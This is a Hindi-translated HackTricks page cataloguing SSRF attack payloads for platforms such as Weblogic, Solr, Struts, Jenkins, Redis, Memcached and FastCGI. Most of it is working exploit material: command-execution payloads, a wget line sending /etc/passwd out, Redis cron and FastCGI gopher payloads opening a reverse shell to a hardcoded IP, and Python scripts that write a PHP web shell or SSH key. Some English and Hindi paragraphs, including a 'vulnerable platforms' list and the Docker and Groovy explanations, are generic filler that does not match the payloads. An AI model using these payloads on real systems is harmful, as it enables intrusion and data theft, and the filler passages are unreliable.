39 KiB
SSRF विकल्पशील प्लेटफॉर्म
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें hacktricks repo और hacktricks-cloud repo को
यह खंड https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ से कॉपी किया गया है
Elasticsearch
सामान्य रूप से बाउंड पोर्ट: 9200
जब Elasticsearch आंतरिक रूप से डिप्लॉय किया जाता है, तो यह आमतौर पर प्रमाणीकरण की आवश्यकता नहीं होती है।
यदि आपके पास एक आंधे SSRF है जहां आप स्थिति कोड निर्धारित कर सकते हैं, तो निम्नलिखित अंत-बिंदु के लिए देखें कि क्या 200 लौटता है:
/_cluster/health
/_cat/indices
/_cat/health
यदि आपके पास ब्लाइंड SSRF है जहां आप POST अनुरोध भेज सकते हैं, तो आप निम्नलिखित पथ पर POST अनुरोध भेजकर Elasticsearch इंस्टेंस को बंद कर सकते हैं:
नोट: _shutdown
API को Elasticsearch संस्करण 2.x और ऊपर से हटा दिया गया है। यह केवल Elasticsearch 1.6 और नीचे में काम करता है:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Weblogic
सामान्य रूप से बाउंड पोर्ट: 80, 443 (SSL), 7001, 8888
SSRF कैनरी: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
यह GET के माध्यम से भी काम करता है:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
यह एंडपॉइंट भी CRLF इंजेक्शन के लिए संकटग्रस्त है:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
निम्नलिखित अनुरोध में परिणामित होगा:
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF कैनरी: CVE-2020-14883
यहां से लिया गया है.
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
विंडोज:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
सामान्य रूप से बाउंड पोर्ट: 8500, 8501 (SSL)
यहां व्रिटअप मिल सकता है।
Shellshock
सामान्य रूप से बाउंड पोर्ट: 80, 443 (SSL), 8080
शेलशॉक की प्रभावी जांच के लिए, आपको पेलोड को समेत करने वाला हेडर जोड़ने की आवश्यकता हो सकती है। निम्नलिखित सीजीआई पथों की जांच करने योग्य हैं:
पाठों की संक्षेप में सूची:
पाठों को समेत करने वाला जिस्ट.
SSRF कैनारी: यूजर एजेंट के माध्यम से शेलशॉक
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Apache Druid
सामान्य रूप से बांधे गए पोर्ट: 80, 8080, 8888, 8082
यहां अपाचे ड्रुइड के लिए API संदर्भ देखें।
यदि आप स्थिति कोड देख सकते हैं, तो निम्नलिखित पथों की जांच करें कि क्या वे 200 स्थिति कोड लौटाते हैं:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
शटडाउन कार्य, आपको कार्य आईडी या डेटासोर्स का नाम अनुमान लगाने की आवश्यकता होती है:
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
एपाचे ड्रुइड ओवरलॉर्ड पर शटडाउन सुपरवाइजर्स:
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr
सामान्य रूप से बाउंड पोर्ट: 8983
SSRF कैनरी: शार्ड्स पैरामीटर
शुभम जो कह रहे हैं उसे जोड़ने के लिए - सॉलर के लिए स्कैनिंग अपेक्षाकृत आसान है। शार्ड्स= पैरामीटर है जो आपको सॉलर इंस्टेंस पर बिना जांचे एसएसआरएफ को बाउंस करने की अनुमति देता है।
— Хавиж नाफी 🥕 (@nnwakelam) 13 जनवरी 2021
यहां से लिया गया यहां
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
डेटा इंपोर्ट हैंडलर के माध्यम से RCE
डेटा इंपोर्ट हैंडलर के माध्यम से RCE पर अनुसंधान
PeopleSoft
सामान्य रूप से बांधे गए पोर्ट: 80,443 (SSL)
इस अनुसंधान से लिया गया है यहां.
SSRF कैनारी: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2
Vulnerable Platforms
The following platforms are known to be vulnerable to Server-Side Request Forgery (SSRF) attacks using XML External Entity (XXE) injection:
-
Workspace: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. By crafting a malicious XML file, an attacker can trigger SSRF vulnerabilities and potentially access internal resources.
-
AWS EC2: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks through XXE injection. By exploiting XXE vulnerabilities in XML parsing libraries, an attacker can manipulate the XML input to trigger SSRF and potentially access sensitive information or perform unauthorized actions.
-
GCP Compute Engine: Google Cloud Platform (GCP) Compute Engine instances can also be vulnerable to SSRF attacks via XXE injection. By injecting malicious XML payloads, an attacker can exploit XXE vulnerabilities in XML parsers and potentially gain unauthorized access to internal resources.
-
Azure Virtual Machines: Microsoft Azure Virtual Machines are susceptible to SSRF attacks through XXE injection. By leveraging XXE vulnerabilities in XML parsing, an attacker can manipulate XML input to trigger SSRF and potentially access sensitive data or perform unauthorized actions.
Conclusion
These platforms are commonly used in cloud environments and can be targeted by attackers to exploit SSRF vulnerabilities using XXE injection. It is crucial for organizations to implement proper security measures, such as input validation and secure XML parsing, to mitigate the risk of SSRF attacks. Regular security assessments and penetration testing can help identify and address these vulnerabilities before they are exploited by malicious actors.
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)
यहां से लिया गया है।
SSRF कैनारी: Struts2-016:
इसे आप जितने भी आंतरिक एंडपॉइंट/URL के अंत में जोड़ें:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
JBoss
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)
यहाँ से लिया गया।
SSRF कैनरी: URL से WAR डिप्लॉय करें
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence
सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8443 (SSL)
SSRF कैनरी: शेयरलिंक्स (2016 नवंबर से पहले जारी की गई Confluence संस्करण)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
अटलासियन सुरक्षा टिकट OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
जीरा
सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8443 (SSL)
SSRF कैनारी: iconUriServlet - जीरा < 7.3.5 (CVE-2017-9506)
अटलासियन सुरक्षा टिकट OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
अटलासियन सुरक्षा टिकट JRASERVER-69793
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
अन्य अटलासियन उत्पाद
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)
SSRF कैनरी: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
अटलासियन सुरक्षा टिकट OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB
सामान्य रूप से बाउंड पोर्ट: 4242
SSRF कैनेरी: RCE के माध्यम से कर्ल
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
OpenTSDB 2.4.0 दूरस्थ कोड निष्पादन
SSRF कैनेरी: RCE के माध्यम से curl - CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
जेंकिन्स
सामान्य रूप से बांधित पोर्ट: 80,443 (SSL),8080,8888
यहां एक शानदार लेख है।
SSRF कैनरी: CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE
यहां दिए गए निर्देशों का पालन करें और GET के माध्यम से RCE प्राप्त करें: जेंकिन्स को हैक करना भाग 2 - अनअथेंटिकेटेड RCE के लिए मेटा प्रोग्रामिंग का दुरुपयोग!
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
ग्रूवी के माध्यम से RCE
ग्रूवी एक जावा आधारित स्क्रिप्टिंग भाषा है जो जावा वर्चुअल मशीन (JVM) पर चलती है। यह एक शक्तिशाली और विस्तृत भाषा है जिसे विभिन्न वेब ऐप्लिकेशन और सर्वर पर उपयोग किया जा सकता है।
एक SSRF अधिकारी नियंत्रण विफलता के माध्यम से, हम ग्रूवी को उपयोग करके रिमोट कोड निष्पादित कर सकते हैं और इसके माध्यम से रिमोट कोड निष्पादित कर सकते हैं। इसके लिए, हमें ग्रूवी कोड को वेब ऐप्लिकेशन के एक अनुरोध में अंतर्निहित करना होगा। जब ग्रूवी कोड वेब ऐप्लिकेशन द्वारा निष्पादित होता है, तो यह वेब ऐप्लिकेशन के संदर्भ में चलता है और उसके अंतर्निहित संसाधनों तक पहुंच प्रदान करता है।
इस तकनीक का उपयोग करके, हम ग्रूवी कोड के माध्यम से वेब ऐप्लिकेशन के अंतर्निहित संसाधनों तक पहुंच प्राप्त कर सकते हैं और उन्हें अपनी इच्छानुसार उपयोग कर सकते हैं। इसके लिए, हमें ग्रूवी कोड को वेब ऐप्लिकेशन के एक अनुरोध में अंतर्निहित करना होगा और उसे वेब ऐप्लिकेशन द्वारा निष्पादित करना होगा। इस तरह, हम वेब ऐप्लिकेशन के संदर्भ में ग्रूवी कोड को निष्पादित करके उसके अंतर्निहित संसाधनों तक पहुंच प्राप्त कर सकते हैं।
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Hystrix डैशबोर्ड
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080
Spring Cloud Netflix, संस्करण 2.2.x से पहले 2.2.4, संस्करण 2.1.x से पहले 2.1.6.
SSRF कैनेरी: CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/
W3 Total Cache
सामान्य रूप से बांधित पोर्ट: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF कैनारी: CVE-2019-6715
इसे एक PUT अनुरोध होना चाहिए:
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF कैनेरी
इस दुर्भाग्यपूर्णता के लिए सूचना यहां जारी की गई थी: W3 Total Cache SSRF vulnerability
यह PHP कोड आपके SSRF कैनेरी होस्ट के लिए एक पेलोड उत्पन्न करेगा (अपने कैनेरी होस्ट के साथ url
को बदलें):
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
डॉकर
सामान्य रूप से बाउंड पोर्ट: 2375, 2376 (SSL)
यदि आपके पास एक आंधे SSRF है, तो आप निम्नलिखित पथों का उपयोग करके डॉकर की API की मौजूदगी की पुष्टि कर सकते हैं:
/containers/json
/secrets
/services
एक अनियमित डॉकर इमेज के माध्यम से RCE
एक अनियमित डॉकर इमेज के माध्यम से दूरस्थ संगणक पर नियंत्रण प्राप्त करने के लिए निम्नलिखित कदमों का पालन करें:
- उदाहरण के लिए, एक SSRF दुरुपयोग खोजें जो एक डॉकर इमेज को डाउनलोड और चलाने की क्षमता प्रदान करता है।
- एक SSRF अधिकारी खोजें जो आपको एक अनियमित URL का अनुरोध करने की अनुमति देता है।
- अपने अनुरोध में एक अनियमित डॉकर इमेज का URL दर्ज करें।
- अब, SSRF अधिकारी द्वारा डॉकर इमेज को डाउनलोड करेगा और उसे चलाएगा।
- जब डॉकर इमेज चल जाए, आपको दूरस्थ संगणक पर नियंत्रण प्राप्त हो जाएगा।
इस तकनीक का उपयोग करके, आप एक अनियमित डॉकर इमेज के माध्यम से RCE प्राप्त कर सकते हैं।
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
अल्पाइन को एक ऐसी छवि के साथ बदलें जिसे आप डॉकर कंटेनर चलाना चाहेंगे।
गिटलैब प्रोमेथियस रेडिस एक्सपोर्टर
सामान्य रूप से बाउंड पोर्ट: 9121
यह सुरक्षा दुर्बलता गिटलैब संस्करण 13.1.1 से पहले के इंस्टेंस पर प्रभावित करती है। गिटलैब दस्तावेज़ीकरण के अनुसार प्रोमेथियस और इसके एक्सपोर्टर डिफ़ॉल्ट रूप से चालू होते हैं, जो गिटलैब 9.0 से शुरू होते हैं।
ये एक्सपोर्टर एक हमलावर्ती के लिए एक उत्कृष्ट तरीका प्रदान करते हैं ताकि वह CVE-2020-13379 का उपयोग करके अन्य सेवाओं पर हमला कर सके। जिसमें से एक एक्सपोर्टर जिसे आसानी से शोषित किया जा सकता है, वह है रेडिस एक्सपोर्टर।
निम्नलिखित एंडपॉइंट हमलावर को यह संभव बनाता है कि उस रेडिस सर्वर में सभी कुंजी डंप कर सके जो लक्ष्य पैरामीटर के माध्यम से प्रदान किया गया है:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
गोफर के माध्यम से संभव
रेडिस
सामान्य रूप से बाउंड पोर्ट: 6379
अनुशंसित पठन:
क्रॉन के माध्यम से RCE - गोफर हमले के सतह
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
RCE के माध्यम से शेल अपलोड (PHP) - रेडिस गेटशेल सारांश
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE के माध्यम से authorized_keys - Redis Getshell सारांश
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Git प्रोटोकॉल के माध्यम से GitLab पर RCE
Liveoverflow की यहां से शानदार व्रिटअप यहां देखें।
यह उत्पन्न करने के लिए GitLab में प्रमाणित पहुंच की आवश्यकता होती है, हालांकि मैं यहां पेलोड शामिल कर रहा हूँ क्योंकि आपके हैकिंग के लक्ष्य पर git
प्रोटोकॉल काम कर सकता है। यह पेलोड संदर्भ के लिए है।
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
मेमकैश
सामान्य रूप से बांधित पोर्ट: 11211
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
Apache Tomcat
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)
Tomcat 6 के खिलाफ प्रभावी:
इस तकनीक का उपयोग करके CTF लेख:
XXE से RCE तक: Pwn2Win CTF 2018 लेख
FastCGI
सामान्य रूप से बाउंड पोर्ट: 80,443 (SSL)
यह यहां से लिया गया है।
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
जावा आरएमआई
सामान्य रूप से बाउंड पोर्ट: 1090,1098,1099,1199,4443-4446,8999-9010,9999
ब्लाइंड एसएसआरएफ सुरक्षा दुर्बलताओं का उपयोग करके अनियमित बाइट्स (गोफर आधारित) का उपयोग जावा आरएमआई के डिफ़ॉल्ट कंपोनेंट्स (आरएमआई रजिस्ट्री, वितरित कचरा संग्राहक, सक्रियण प्रणाली) पर डिसीरियलाइज़ेशन या कोडबेस हमलों को करने के लिए किया जा सकता है। एक विस्तृत लेख यहां मिल सकता है यहां। निम्नलिखित सूची में एक उदाहरण दिखाता है पेलोड जनरेशन के लिए:
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PR जमा करके।